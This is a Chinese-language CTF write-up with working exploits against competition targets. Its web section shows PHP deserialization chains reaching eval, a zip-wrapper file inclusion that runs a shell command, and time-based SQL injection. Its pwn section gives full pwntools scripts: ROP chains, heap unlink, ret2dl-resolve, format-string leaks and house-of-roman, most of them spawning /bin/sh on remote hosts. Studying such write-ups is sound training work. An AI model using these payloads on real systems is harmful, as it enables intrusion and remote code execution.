[TOC]
# Write Up
## web
### 六尘
不是很懂这个操作,网站curl能ssrf,但是没啥用,最后通过其他题目知道通过存在一个flagishere获取利用token获取flag,访问`http://111.33.164.4:10005/flagishere/`后发现目录存在目录遍历,之后直接获取flag: `http://111.33.164.4:10005/flagishere/6be8b547d6db1d213c1ceecc30b3cb24.php?token=1DJAVU22DOAFE800000020PIO5JH0MHN`
### 八苦
`http://111.33.164.4:10004/index.phps`存在代码泄露
```
error_reporting(0);
class Test{
protected $careful=1;
public $securuty;
public function __wakeup(){
if($this->careful===1){
phpinfo(); // step 1: read source,get phpinfo and read it carefullt
}
}
public function __get($name){
return $this->securuty[$name];
}
public function __call($param1,$param2){
var_dump(11);
if($this->{$param1}){
eval('$a='.$_GET['dangerous'].';');
}
}
}
class User{
public $user;
public function __wakeup(){
$this->user=new Welcome();
$this->user->say_hello();
}
}
// $string=$_GET['foo']??$a;
// unserialize($string);
```
发现也没法利用,但是可以反序列化执行phpinfo。`http://111.33.164.4:10004/index.php?foo=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00careful%22%3Bi%3A1%3Bs%3A8%3A%22securuty%22%3BN%3B%7D`
发现有一个preload配置,加载了此文件`http://111.33.164.4:10004/this_is_a_preload.php`
```
<?php
class Welcome{
public function say_hello(){
echo "welcome<br>";
}
}
class Welcome_again{
public $willing;
public $action;
public function __construct(){
$this->action=new Welcome;
}
public function __destruct(){
if($this->willing){
$this->action->say_hello();
}
}
}
highlight_file(__FILE__)
?>
```
然后就可以通过Welcome_again进行call调用,通过eval进行代码执行。
```
http://111.33.164.4:10004/index.php?foo=O%3A13%3A%22Welcome_again%22%3A2%3A%7Bs%3A7%3A%22willing%22%3Bi%3A1%3Bs%3A6%3A%22action%22%3BO%3A4%3A%22Test%22%3A3%3A%7Bs%3A10%3A%22%00%2A%00careful%22%3Bi%3A0%3Bs%3A8%3A%22securuty%22%3BN%3Bs%3A9%3A%22say_hello%22%3Bs%3A4%3A%22null%22%3B%7D%7D&dangerous=phpinfo();
```
### 空性
从html网页内容看到地址: `151912db206ee052.php`
然后发现存在文件泄露: `http://111.33.164.4:10003/.151912db206ee052.php.swp`
```
4 error_reporting(0);
5 class First{
6 function firstlevel(){
7 $a='whoami';
8 extract($_GET);
9 $fname = $_GET['fname']?$_GET['fname']:'./js/ctf.js';
10 $content=trim(file_get_contents($fname));
11 if($a==$content)
12 {
13 echo 'ok';;
14 else
15 {
16 echo '听说你的Linux用的很6?';
17 }
18 }
19 }
20 $execfirst = new First();
21 $execfirst -> firstlevel();
```
存在变量覆盖,之后显示一个新的地址。
```
2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=3792689baaabc7eb&hash256=9c062d7697674fb92d0a03c2bf3b6ad6
```
上传zip,然后用zip伪协议包含getshell
```
POST /2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=?&file=zip://upload/6e5555b6856e20.zip%231&hash256=25db8caabd7e5c2b6976fa657112c4b7 HTTP/1.1
Host: 111.33.164.4:10003
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
0=cat flagishere/c5a3038d0aeb393711c53abe41dd15f2.php
```
### 五叶
又是一个迷题,题目做了一些过滤,比如or、`=`等等字符串,发现password是可以进行注入的,注入语句为: `user=admin&password=zzz'||if(0,1,0)||sleep(0.5))#--+a&login=Login`,但是一直没法再注入其他东西。
```
POST / HTTP/1.1
Host: 111.33.164.4:10002
Content-Length: 84
Cache-Control: max-age=0
Origin: http://111.33.164.4:10002
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://111.33.164.4:10002/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
client-ip: 10.18.25.47
x-forwarded-for: 127.0.0.1
Connection: close
user=admin&password=zzz'||if((username)regexp'^a',1,0)||sleep(0.5))#--+a&login=Login
```
然后测试了一下上面的就得到flag信息了。
```
Login Successful, venus flag : 85aaf2ac9bf8feb57b18eacfc8888a2a.php
```
`user=admin&password=zzz'||if(('a')regexp'^a',1,0)||sleep(0.5))#--+a&login=Login`,发现这样却不行?蜜汁逻辑。
### 空相
这个题目也很迷, `http://111.33.164.4:10001/25d99be830ad95b02f6f82235c8edcf7.php?id=1%27&token=1DJAVMASFJTVLL00000020PH96VDP00C`,页面显示需要id参数,然后就出flag了。
## pwn
### pwn9 - 坐忘
程序存在很明显的栈溢出,不过需要进行base64编码。首先泄漏canary,然后构造ropchain溢出覆盖返回地址就可以了。
```python
import base64
from pwn import *
from struct import pack
context(
log_level='info',
os='linux',
arch='amd64',
binary='./pwn9'
)
e = context.binary
io = remote('111.33.164.4', 50009)
#==========================================
def dbg(script=''):
gdb.attach(io, gdbscript=script)
def leak_canary(content, ctn='yes'):
payload = base64.b64encode(content)
io.sendlineafter('>\n', payload)
io.recvuntil(content)
canary = u64(io.recv(7).rjust(8, '\x00'))
io.sendlineafter(' ?', ctn)
return canary
def send_rop(content, ctn='no'):
payload = base64.b64encode(content)
io.sendlineafter('>\n', payload)
io.sendlineafter(' ?', ctn)
#==========================================
#==========================================
canary = leak_canary('a'*9)
success('canary: '+hex(canary))
#dbg()
payload = 'a'*0x8
payload += p64(canary)
payload += 'b'*0x8
p = ''
p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb080) # @ .data
p += pack('<Q', 0x00000000004715e4) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000047cd21) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000426baf) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047cd21) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401e36) # pop rdi ; ret
p += pack('<Q', 0x00000000006cb080) # @ .data
p += pack('<Q', 0x0000000000401f57) # pop rsi ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x00000000004433e6) # pop rdx ; ret
p += pack('<Q', 0x00000000006cb088) # @ .data + 8
p += pack('<Q', 0x0000000000426baf) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046f140) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004003da) # syscall
payload += p
send_rop(payload)
io.interactive()
```
### pwn7 - 玄冥
程序在edit函数有很明显的堆溢出漏洞,通过构造fd和bk到note_list可以使用unlink对漏洞进行利用,从而控制note_list达到任意地址读写的目的。然后泄漏got,覆盖got就可以完成利用。
```python
from pwn import *
context(
log_level='info',
os='linux',
arch='amd64',
binary='./pwn'
)
e = context.binary
libc = ELF('./libc-2.19.so')
io = remote('111.33.164.4', 50007)
#==========================================
def dbg(script=''):
gdb.attach(io, gdbscript=script)
def menu(cmd):
io.sendlineafter('choice >>', str(cmd))
def add(size):
menu(1)
io.sendlineafter('size:', str(size))
def edit(idx, content):
menu(3)
size = len(content) + 1
io.sendlineafter('id:', str(idx))
io.sendlineafter('size:', str(size))
io.sendafter('content:', content)
def show(idx):
menu(2)
io.sendlineafter('id:', str(idx))
io.recvuntil('data:')
def delete(idx):
menu(4)
io.sendlineafter('id:', str(idx))
def leak(address):
payload = p64(address)
edit(0, payload)
show(1)
data = io.recvline()[:-1].ljust(8, '\x00')
info('leak: '+hex(u64(data)))
#print type(data)
return data
#==========================================
note_list = e.symbols['note_list']
atoi_got = e.got['atoi']
atoi_off = libc.symbols['atoi']
system_off = libc.symbols['system']
#==========================================
add(0x88) #0 unlink victim
add(0x88) #1 trigger
add(0x88) #2
payload = p64(0) + p64(0x81)
payload += p64(note_list-0x18) + p64(note_list-0x10)
payload = payload.ljust(0x80, 'a')
payload += p64(0x80) + p8(0x90)
edit(0, payload)
delete(1) #unlink
payload = '\x00'*0x18
payload += p64(note_list+8) + p64(atoi_got)
edit(0, payload)
show(1) #leak atoi@libc
atoi_addr = u64(io.recvline()[:-1].ljust(8, '\x00'))
info('atoi_addr : '+hex(atoi_addr))
libc_base = atoi_addr - atoi_off
system = libc_base + system_off
success('libc base: '+hex(libc_base))
payload = p64(system)
edit(1, payload)
io.sendline('/bin/sh')
#dbg()
io.interactive()
```
### pwn6 - 於讴
简单的栈溢出ROP,开始不知道libc版本,就用了ret2dl-resolve的方法做。
```python
#!/usr/bin/env python
from pwn import *
context.log_level = "debug"
elf = "./pwn"
puts_plt = 0x4005d0
read_plt = 0x400600
exit_plt = 0x400630
puts_got = 0x620018
read_got = 0x620030
exit_got = 0x620048
pop_rdi = 0x414fc3
pop_rsi = 0x414fc1
read_func = 0x4007e2
plt_addr = 0x4005c0
data_addr = 0x620060
got_plt_addr = 0x620000
pop_rbp_ret = 0x4006b0
leave_ret = 0x4039a3
dynsym_addr = 0x4002c8
dynstr_addr = 0x4003e8
rel_plt_addr = 0x4004f0
link_map_ptr = got_plt_addr+0x8
# fake
fake_stack_addr = data_addr+0xb00
base_addr = fake_stack_addr+0x180
#reloc_arg = (base_addr+0x8-rel_plt_addr)/0x18
base_addr = 0x620d08
reloc_arg = 0x16b01
dynsym_off = (base_addr+0x18-dynsym_addr)/0x18
system_off = base_addr+0x30-dynstr_addr
bin_sh_addr = base_addr+0x38
log.info("reloc_arg: "+hex(reloc_arg))
#p = process(elf)
p = remote("111.33.164.4", 50006)
p.sendline("-1")
p.recvuntil("OH, WHY ARE YOU SO GOOD?")
#gdb.attach(p)
payload = p8(0)*0x10
payload += p64(fake_stack_addr)
payload += p64(pop_rdi)
payload += p64(link_map_ptr)
payload += p64(puts_plt)
payload += p64(pop_rsi)
payload += p64(0x100)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(fake_stack_addr)
payload += p64(read_func)
payload += p64(leave_ret)
payload += p64(fake_stack_addr+0x300)
payload += p64(fake_stack_addr+0x300)
payload += p8(0)*(0x100-len(payload))
p.send(payload)
p.recvline()
link_map_addr = u64(p.recv(6).ljust(8, "\x00"))
log.info("link_map_addr: "+hex(link_map_addr))
#p.recvline()
payload = p8(0)*7
payload += p64(pop_rsi)
payload += p64(0x100)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(link_map_addr+0x168)
payload += p64(read_func)
payload += p64(pop_rsi)
payload += p64(0x100)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(base_addr-0x8)
payload += p64(read_func)
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(plt_addr) # jump to _dl_runtime_resolve
payload += p64(reloc_arg) # reloc_arg
payload += p8(0)*(0x100-len(payload))
p.send(payload)
p.send(p8(0)*0x100)
payload = p8(0)*0x5
payload += p64(read_got)
payload += p32(0x7)+p32(dynsym_off)
payload += p64(0)
payload += p32(system_off)+p32(0x12)
payload += p64(0)*0x2
payload += "system\x00\x00"
payload += "/bin/sh\x00"
payload += p8(0)*(0x100-len(payload))
p.send(payload)
p.interactive()
```
### pwn11 - 拈花
这道也是简单的栈溢出,但是一直找不到libc! 之后把centos的全部libc down下来进行搜索,发现版本为`libc6_2.19-18+deb8u10_amd64-libc-2.19.so`,就直接计算偏移得到system地址即可。
```python
#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
elf = ELF("./pwn11")
puts_plt = elf.plt["puts"]
read_plt = elf.plt["read"]
read_pot = elf.got["read"]
start = 0x401080
pop_rdi = 0x4012ab
pop_rsi_r15 = 0x4012a9
data_addr = 0x404040
'''
read_off = 0xf7250
sys_off = 0x45390
sh_off = 0x18cd57
'''
read_off = 0xdbb90
sys_off = 0x41490
sh_off = 0x0
p = remote("111.33.164.4", 50011)
raw_input()
payload = 'a' * 0x28 + p64(pop_rdi) + p64(read_pot) + p64(puts_plt) + p64(start)
p.sendlineafter("name", '123')
p.sendlineafter("?", payload)
p.recvuntil("!\n")
read_addr = u64(p.recv(6) + '\x00\x00')
print(hex(read_addr))
sys_addr = read_addr - read_off + sys_off
sh_addr = read_addr - read_off + sh_off
print(hex(sys_addr))
print(hex(sh_addr))
payload = 'a' * 0x28
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(data_addr) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(data_addr)
payload += p64(sys_addr) + p64(0xdeadbeef)
p.sendlineafter("name", '123')
p.sendlineafter("?", payload)
p.sendlineafter("fail", "/bin/sh\x00")
p.interactive()
```
### pwn13 - 一苇
无力吐槽的一道题,依旧是栈溢出,程序包含了system函数,覆盖后两个字节跳转至system。
```python
#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
p = remote("111.33.164.4", 50013 )
#p = process("./pwn13")
raw_input()
p.sendlineafter("choice:", "1")
payload = 'a' * 0x28 + "\x50"
p.sendafter("massage", payload)
p.interactive()
```
### pwn14 - 正定
常规的的 unsafe_unlink 技术的练习。
```python
#! /usr/bin/python
from pwn import *
context.log_level = "debug"
chunk_list = 0x4040c0
def new_note(size, context):
p.sendlineafter("choice :", "1")
p.sendlineafter("note :", str(size))
p.sendafter("note:", context)
def edit_note(index, size, context):
p.sendlineafter("choice :", "2")
p.sendlineafter("Index :", str(index))
p.sendlineafter("note :", str(size))
p.sendafter("note :", context)
def del_note(index):
p.sendlineafter("choice :", "3")
p.sendlineafter("Index :", str(index))
#p = process("./pwn14")
p = remote("111.33.164.4", 50014)
#raw_input()
new_note(0x80, 'a' * 0x20) # 0
new_note(0x80, 'a' * 0x20) # 1
new_note(0x80, 'a' * 0x20) # 2
payload = p64(0) + p64(0x80) + p64(chunk_list - 0x18) + p64(chunk_list - 0x10)
payload += 'a' * (0x80 - 0x8*4)
payload += p64(0x80) + p64(0x90)
edit_note(0, 0x100, payload)
del_note(1)
payload = 'a'*0x18 + p64(chunk_list - 0x18) + p64(0) + p64(0x4040a0)
edit_note(0, 0x30, payload)
edit_note(2, 0x10, "9876")
p.sendlineafter("choice", "70")
p.interactive()
```
### pwn1 - 副墨
明显的字符串格式化漏洞,虽在抵达漏洞点前使用`srand(time(NULL))`生成随机数进行限制,但在获取用户名时存在溢出可覆盖`seed`使得生成的随机数固定。遂利用字符串格式化漏洞泄露出canary和栈上保存的代码段地址,构造RoP链向`.bss`段`read`入`/bin/sh`,最终跳转至`pwn`函数:
```python
from pwn import *
import time
context.log_level = 'debug'
seed = '1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421'.split(',')
p = remote('111.33.164.4', 50001)
#p = process('./bf')
p.recvline()
p.sendline('1')
p.recvline()
fmt = "%23$p,%17$p,"
p.sendline(fmt + 'A'*(0x1c-len(fmt)) + p32(0))
#gdb.attach(p)
for i in xrange(10):
p.recvuntil('guess:')
num = int(seed[i]) % 99999 + 1
p.sendline(str(num))
leak = p.recvuntil('F').split('\n')[1].split(',')
leak_pie_addr = int(leak[0], 16)
leak_cookie = int(leak[1], 16)
binary_base = leak_pie_addr - 0xabf
read_addr = binary_base + 0x8f0
pwn_addr = binary_base + 0xaa0
pop_rdi_ret = binary_base + 0xdb3
pop_rsi_pop_r15_ret = binary_base + 0xdb1
bss_addr = binary_base + 0x202088
payload = ''
payload += 'B'*0x34
payload += p64(leak_cookie)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop_rsi_pop_r15_ret)
payload += p64(bss_addr)
payload += p64(0)
payload += p64(read_addr)
payload += p64(pop_rdi_ret)
payload += p64(bss_addr)
payload += p64(pwn_addr)
p.sendline(payload)
p.sendline('sh\x00')
p.interactive()
time.sleep(100)
```
### pwn15 - 立雪
程序在修改时存在堆溢出漏洞,没有开PIE, 并且存在后门函数,因此可以直接通过unlink写got表调用后门函数
```python
#!/usr/bin/env python2
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
exe = './pwn15'
ip = '111.33.164.4'
port = '50015'
elf = ELF(exe)
def dbg(script=''):
attach(io, gdbscript=script)
def choice(idx):
io.recvuntil('Your choice:')
io.sendline(str(idx))
def new(size, content):
choice(1)
io.recvuntil('Length of note:')
io.sendline(str(size))
io.recvuntil('Content of note:')
io.send(content)
def edit(idx, size, content):
choice(2)
io.recvuntil('Index:')
io.sendline(str(idx))
io.recvuntil('Length of note:')
io.sendline(str(size))
io.recvuntil('Content of note:')
io.send(content)
def dele(idx):
choice(3)
io.recvuntil('Index:')
io.sendline(str(idx))
# ------------------------------------------------
LOCAL = 0
buf_addr = 0x00000000006020C0
put_addr = elf.got['puts']
backdoor = 0x0000000000400C32
padding = 'C'*0x60
# ------------------------------------------------
def exp():
new(0x80, 'A'*8)
new(0x80, 'B'*8)
edit(0, 0xa0, p64(0)*2+p64(buf_addr-0x18) +
p64(buf_addr-0x10)+padding+p64(0x80)+p64(0x90))
dele(1)
edit(0, 0x28, 'D'*0x18+p64(put_addr))
edit(0, 0x8, p64(backdoor))
io.interactive()
# ------------------------------------------------
if __name__ == '__main__':
if LOCAL:
io = elf.process() # env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)
exp()
```
### pwn12 - 西来
程序存在offbynull漏洞,因此可以overlap,不过因为无法分配`fastbin`,因此不能fastbin attack,尝试通过houseofroman攻击iofile缓冲区getshell
```python
#!/usr/bin/env python2
from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=False)
exe = './pwn12'
ip = '111.33.164.4'
port = 50012
elf = ELF(exe)
libc = ELF('./libc-2.19.so')
def dbg(script=''):
attach(io, gdbscript=script)
def choice(idx):
io.recvuntil('5.Exit')
io.sendline(str(idx))
def add(size):
choice(1)
io.recvuntil('Size?')
io.sendline(str(size))
def edit(idx, content):
choice(2)
io.recvuntil('Index?')
io.sendline(str(idx))
io.recvuntil(':')
io.send(content)
def show(idx):
choice(3)
io.recvuntil('Index?')
io.sendline(str(idx))
def dele(idx):
choice(4)
io.recvuntil('Index?')
io.sendline(str(idx))
# ------------------------------------------------
LOCAL = 0
libc_off = 0x5ca868
heap_off = 0x60
io_list = 0x5cb040
system = 0x266490
# ------------------------------------------------
def exp():
io.sendafter("what's your name?", 'A'*0x20)
io.sendafter("what's your info?", 'B'*0x20)
# overlap
add(0x20-8) # 0
add(0x70-8) # 1
add(0x70-8) # 2
add(0x70-8) # 3
add(0x70-8) # 4
add(0x70-8) # 5
add(0x60-8) # 6
edit(5, 'A'*0x30 + p64(0x200))
dele(1)
dele(2)
dele(3)
dele(4)
dele(5)
edit(0, 'B'*0x18) # offbynull
add(0x20-8) # 1
show(1)
io.recvuntil('\x0a')
libc_addr = u64(io.recv(6).ljust(8, '\x00')) - libc_off
log.info(hex(libc_addr))
#dbg()
add(0x20-8) # 2 overlap
dele(1)
dele(6)
add(0x20-8) # 1
add(0x60-8) # 3 # chain
edit(3, p64(0)*2+p64(libc_addr)+p64(libc_addr+0x10))
add(0x20-8) # 4
add(0x60-8) # 5 # f->_wdate
add(0x40-8) # 6
edit(6, p64(libc_addr+system)*5)
add(0x20-8) # 7
# unsortedbin attach
add(0x70-8) # 8
show(8)
io.recv()
heap_addr = u64(io.recv(3).ljust(8, '\x00')) - heap_off
edit(5, p64(0)*9+p64(heap_addr+0x170))
dele(5)
dele(6)
dele(3)
add(0x40-8) # 3
add(0x20-8) # 4
edit(8, 'C'*0x18+p64(0x21)+'C'*0x10)
dele(2)
edit(8, 'C'*0x10+p64(0)+p64(0x21)+p64(0)+p64(libc_addr+io_list-0x10)+p64(20)*4+'/bin/sh\x00')
add(0x20-8) # 2
#dbg()
dele(3)
io.interactive()
# ------------------------------------------------
if __name__ == '__main__':
if LOCAL:
io = elf.process(env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)
exp()
```